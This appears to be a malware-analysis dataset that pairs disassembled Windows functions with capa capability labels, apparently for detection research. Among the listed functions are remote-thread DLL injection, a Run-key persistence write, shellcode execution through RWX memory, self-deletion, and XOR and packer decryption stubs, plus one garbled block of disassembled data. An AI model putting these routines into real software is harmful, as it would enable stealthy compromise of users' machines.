joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5ad50
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x94], 0
je 0x5ad85
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00013c08
jmp 0x5ad8f
mov eax, esi
mov edx, dword [ebx + 0x7c]
call fcn.00013b74
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x5bce8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x74]
test esi, esi
je 0x5bd20
mov eax, esi
call fcn.0004315c
test al, al
je 0x5bd20
mov eax, dword [ebx + 0x74]
call fcn.00042e60
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x5bd20
push 0
mov eax, dword [ebx + 0x74]
call fcn.00042e60
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x73d40
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
push edi
test dl, dl
je 0x73d56
add esp, 0xfffffff0
call fcn.0001317c
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x73ea2
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
xor edx, edx
mov eax, edi
call fcn.00027090
mov byte [edi + 0x48], 3
mov dword [edi + 0x54], 0x1fffffff
mov al, byte [0x73ec8]
mov byte [edi + 0x30], al
xor ecx, ecx
mov dl, 1
mov eax, dword [0x7265c]
call fcn.00072a04
mov dword [edi + 0x34], eax
xor eax, eax
mov dword [edi + 0xa0], eax
lea eax, [edi + 0x24]
mov edx, 0x73ed4
call fcn.00013b74
mov byte [edi + 0xa8], 0
test byte [edi + 0x20], 0x10
jne 0x73e09
mov eax, dword [0x9cf68]
cmp byte [eax], 0
jne 0x73e09
lea edx, [ebp - 8]
xor eax, eax
call fcn.000128dc
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00018a08
mov eax, dword [ebp - 4]
call fcn.00013f64
push eax
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov esi, eax
mov dword [edi + 0xa4], esi
test esi, esi
je 0x73e09
call sub.KERNEL32.DLL_GetLastError_1
cmp eax, 0xb7
jne 0x73e09
mov byte [edi + 0xa8], 1
push 0x32
xor ecx, ecx
mov dl, 1
mov eax, dword [0x738fc]
call fcn.00074528
mov dword [edi + 0x58], eax
mov byte [edi + 0x68], 0
xor eax, eax
mov dword [edi + 0x6c], eax
mov byte [edi + 0x5c], 2
xor edx, edx
mov eax, edi
call fcn.00073c28
mov dword [edi + 0x64], 0xffffffff
xor eax, eax
mov dword [edi + 0x8c], eax
xor eax, eax
mov dword [edi + 0x88], eax
mov byte [edi + 0x90], 0
mov al, byte [0x73edc]
mov byte [edi + 0x38], al
lea eax, [edi + 0x98]
push eax
call sub.KERNEL32.DLL_QueryPerformanceFrequency
push 0x40a4
mov eax, dword [0x9e4d8]
push eax
call sub.user32.dll_LoadCursorA
mov ecx, eax
mov eax, dword [0x9d380]
mov eax, dword [eax]
mov edx, 0xffffff01
call fcn.00059510
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x73ea9
lea eax, [ebp - 8]
mov edx, 2
call fcn.00013b44
ret
Function at 0x8b56c
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff6c
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [ebp - 0x84], 1
sete byte [0x9eaa8]
cmp dword [ebp - 0x84], 1
jne 0x8b5ad
cmp word [ebp - 0x88], 0x3e8
jae 0x8b5b1
xor eax, eax
jmp 0x8b5b3
mov al, 1
mov byte [0x9eaad], al
cmp dword [ebp - 0x84], 2
sete byte [0x9eaa9]
cmp dword [ebp - 0x84], 2
jne 0x8b5d8
cmp dword [ebp - 0x90], 5
jae 0x8b5dc
xor eax, eax
jmp 0x8b5de
mov al, 1
mov byte [0x9eaaa], al
mov al, byte [0x9eaaa]
mov byte [0x9eaac], al
mov al, byte [0x9eaa9]
or al, byte [0x9eaac]
mov byte [0x9eaab], al
cmp dword [ebp - 0x84], 1
jne 0x8b60f
cmp dword [ebp - 0x8c], 0
ja 0x8b613
xor eax, eax
jmp 0x8b615
mov al, 1
mov byte [0x9eaae], al
mov al, byte [0x9eaae]
mov byte [0x9eab0], al
cmp dword [ebp - 0x84], 1
jne 0x8b636
cmp dword [ebp - 0x8c], 0x5a
jae 0x8b63a
xor eax, eax
jmp 0x8b63c
mov al, 1
mov byte [0x9eaaf], al
mov esp, ebp
pop ebp
ret

Function at 0x90344
Capabilities:
Check if file exists
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x9034c
push ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00013f54
xor eax, eax
push ebp
push GetWindowOrgEx
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.000128dc
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.000189d4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.00018940
push dword [ebp - 0x1c]
push reloc.gdi32.dll_GetWinMetaFileBits
lea eax, [ebp - 4]
mov edx, 3
call fcn.00013e60
mov eax, dword [ebp - 4]
call fcn.00018898
test al, al
je OffsetRgn
mov eax, 0x9eb44
mov edx, dword [ebp - 4]
call fcn.00013b74
mov byte [0x9eb48], 1
cmp byte [ebp - 5], 0
jne 0x9043c
mov eax, dword [0x9eb44]
call fcn.00013f64
mov edx, eax
lea eax, [ebp - 0x20]
call fcn.00013cd8
mov eax, dword [ebp - 0x20]
call fcn.000188a8
test al, al
jne 0x9043c
call sub.KERNEL32.DLL_GetLastError_1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 2
je 0x9043c
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00090778
push RoundRect
push dword [ebp - 4]
push 0x904f8
push RestoreDC
push 0x90510
push dword [ebp - 0x10]
lea eax, [ebp - 0x24]
mov edx, 6
call fcn.00013e60
mov eax, dword [ebp - 0x24]
call fcn.0005d99c
lea edx, [ebp - 0x2c]
xor eax, eax
call fcn.000128dc
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
call fcn.000189d4
mov edx, dword [ebp - 0x28]
lea eax, [ebp - 0x10]
mov ecx, 0x9051c
call fcn.00013dec
mov eax, dword [ebp - 0x10]
call fcn.00013f64
push eax
push 0
push reloc.gdi32.dll_GetSystemPaletteEntries
push 0x9052c
call Pie
mov dword [0x9eb4c], eax
jmp reloc.gdi32.dll_MaskBlt
mov eax, 0x9eb44
call fcn.00013b20
mov byte [MoveToExx9eb48], 0
xor eax, eax
mov dword [0x9eb4c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push LineTo
lea eax, [ebp - 0x2c]
mov edx, 8
call fcn.00013b44
lea eax, [ebp - 4]
call fcn.00013b20
ret
Function at 0x90ac4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
xor eax, eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x108], eax
xor eax, eax
push ebp
push SetCapture
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x108]
xor eax, eax
call fcn.000128dc
mov eax, dword [ebp - 0x108]
lea edx, [ebp - 0x104]
call fcn.000189d4
mov edx, dword [ebp - 0x104]
mov eax, 0x9eb50
call fcn.00013b74
lea edx, [ebp - 0x114]
xor eax, eax
call fcn.000128dc
mov eax, dword [ebp - 0x114]
lea edx, [ebp - 0x110]
call fcn.00018a08
mov eax, dword [ebp - 0x110]
lea ecx, [ebp - 0x10c]
xor edx, edx
call fcn.00018940
mov edx, dword [ebp - 0x10c]
mov eax, 0x9eb54
call fcn.00013b74
lea eax, [ebp - 0x100]
xor ecx, ecx
mov edx, 0x100
call fcn.00012b30
push 0xff
lea eax, [ebp - 0x100]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov eax, 0x9eb74
lea edx, [ebp - 0x100]
mov ecx, pe_nt_image_headers32
call fcn.00013d50
lea eax, [ebp - 0x100]
xor ecx, ecx
mov edx, pe_nt_image_headers32
call fcn.00012b30
push RedrawWindow
lea eax, [ebp - 0x100]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov eax, 0x9eb78
lea edx, [ebp - 0x100]
mov ecx, pe_nt_image_headers32
call fcn.00013d50
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x90bff
lea eax, [ebp - 0x114]
mov edx, 5
call fcn.00013b44
ret
Function at 0x987ac
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00013f54
xor eax, eax
push ebp
push 0x988ed
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
jne 0x987e7
push 0x988fc
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x9ebe4], eax
jmp 0x987fa
mov eax, dword [ebp - 4]
call fcn.00013f64
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x9ebe4], eax
cmp dword [0x9ebe4], 0
jne 0x9881f
push 0
push 0x98908
push 0x98910
call sub.user32.dll_GetFocus
push eax
call sub.user32.dll_MessageBoxA
jmp 0x988d7
push 0x9892c
mov eax, dword [0x9ebe4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [0x9ebcc], eax
push 0x98938
mov eax, dword [0x9ebe4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [0x9ebd0], eax
push 0x98944
mov eax, dword [0x9ebe4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [0x9ebd4], eax
push 0x98950
mov eax, dword [0x9ebe4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [0x9ebd8], eax
push 0x98960
mov eax, dword [0x9ebe4]
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [0x9ebdc], eax
cmp dword [0x9ebcc], 0
je 0x988b5
cmp dword [0x9ebd0], 0
je 0x988b5
cmp dword [0x9ebd4], 0
je 0x988b5
cmp dword [0x9ebd8], 0
je 0x988b5
cmp dword [0x9ebdc], 0
jne 0x988ce
push 0
push 0x98908
push 0x98970
call sub.user32.dll_GetFocus
push eax
call sub.user32.dll_MessageBoxA
jmp 0x988d7
call dword [0x9ebcc]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x988f4
lea eax, [ebp - 4]
call fcn.00013b20
ret

Function at 0x98f2c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee8
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00013f54
xor eax, eax
push ebp
push 0x98ff9
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, 0x9ebf8
xor ecx, ecx
mov edx, 0x34
call fcn.00012b30
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x118]
mov edx, dword [ebp - 4]
call fcn.00018bc0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x98fe3
mov eax, dword [ebp - 0xc]
call fcn.0001270c
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x118]
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x98fd8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x9900c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
mov eax, dword [ebp - 0x14]
mov esi, eax
mov edi, 0x9ebf8
mov ecx, 0xd
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
call fcn.00012724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x99000
lea eax, [ebp - 4]
call fcn.00013b20
ret
Function at 0x99010
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
xor eax, eax
mov dword [ebp - 4], eax
push 0x99050
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [0x9ebf4], eax
push 0x3e8
mov eax, dword [0x9ebf4]
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
cmp eax, 0x102
jne 0x9904a
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 4]
pop ecx
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x62281323
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
test eax, eax
jne 0x62281372
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetModuleFileName___failed_with_error_code__d_n
call sym._printf
jmp 0x622814d4
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x622813ab
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.strrchr___failed_with_error_code__d_n
call sym._printf
jmp 0x622814d4
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x20c]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x62281461
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegOpenKeyEx___failed_with_error_code__d_n
call sym._printf
jmp 0x622814d4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x210]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MyApp
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x622814c3
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegSetValueEx___failed_with_error_code__d_n
call sym._printf
jmp 0x622814d4
mov eax, dword [ebp - 0x210]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret
Function at 0x62281544
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x62281694
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x622816f7
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x622817b9
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x6228172c
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x622817b9
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x62281756
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x622817b9
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x6228179d
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x622817b9
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x622818b5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x622818fe
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x62281c90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6228603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x62286034]
sub esp, 4
test ebx, ebx
je 0x62281cdb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x62281cd4
test esi, esi
je 0x62281cd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x62281cb0
mov dword [esp], 0x6228603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x62281ec0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x622841f4
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x62281f10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x62281fe8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x62281f4e
cmp eax, 4
jne 0x62281f70
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x62281f5e
cmp edx, 4
je 0x62281f5e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.62281ec0

Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
xchg dword [eax], eax
mov word [edx], ss
xlatb
inc ecx
sub al, 0xc0
cmpsd dword [esi], dword es:[edi]
pushal
insd dword es:[edi], dx
bound eax, qword [eax + eax + 0x2c]
bound eax, qword [edi + 0x62eb7900]
mov ebp, dword [ecx + 0x6a]
or al, 0x45
and cl, ch
rcl byte [eax], cl
lodsb al, byte [esi]
pop edi
inc edi
push ecx
insd dword es:[edi], dx
bound eax, qword [edi + 0x7fe16b75]
add dword [esi + 0x20], ebx
add al, 0xe8
sub eax, 0xc4838b16
arpl bx, si
adc ebp, dword [edi + 0x3374868a]
mov dword [esi + 0x783f8ce8], esi
inc esp
test eax, 0x89d3ffe1
mov byte [0x780028e8], al
call dword [edx - 0x75d2ff79]
lodsd eax, dword [esi]
pop edi
rcr dword [ebp + 0x57d3146c], cl
xlatb
pop ecx
insd dword es:[edi], dx
bound ebp, qword [edi + 0x3d]
jmp 0x414a4e
jns 0x414aad
invalid
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x2e902e1b
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data_1
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x24786318
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1cd11019
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x57331762
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx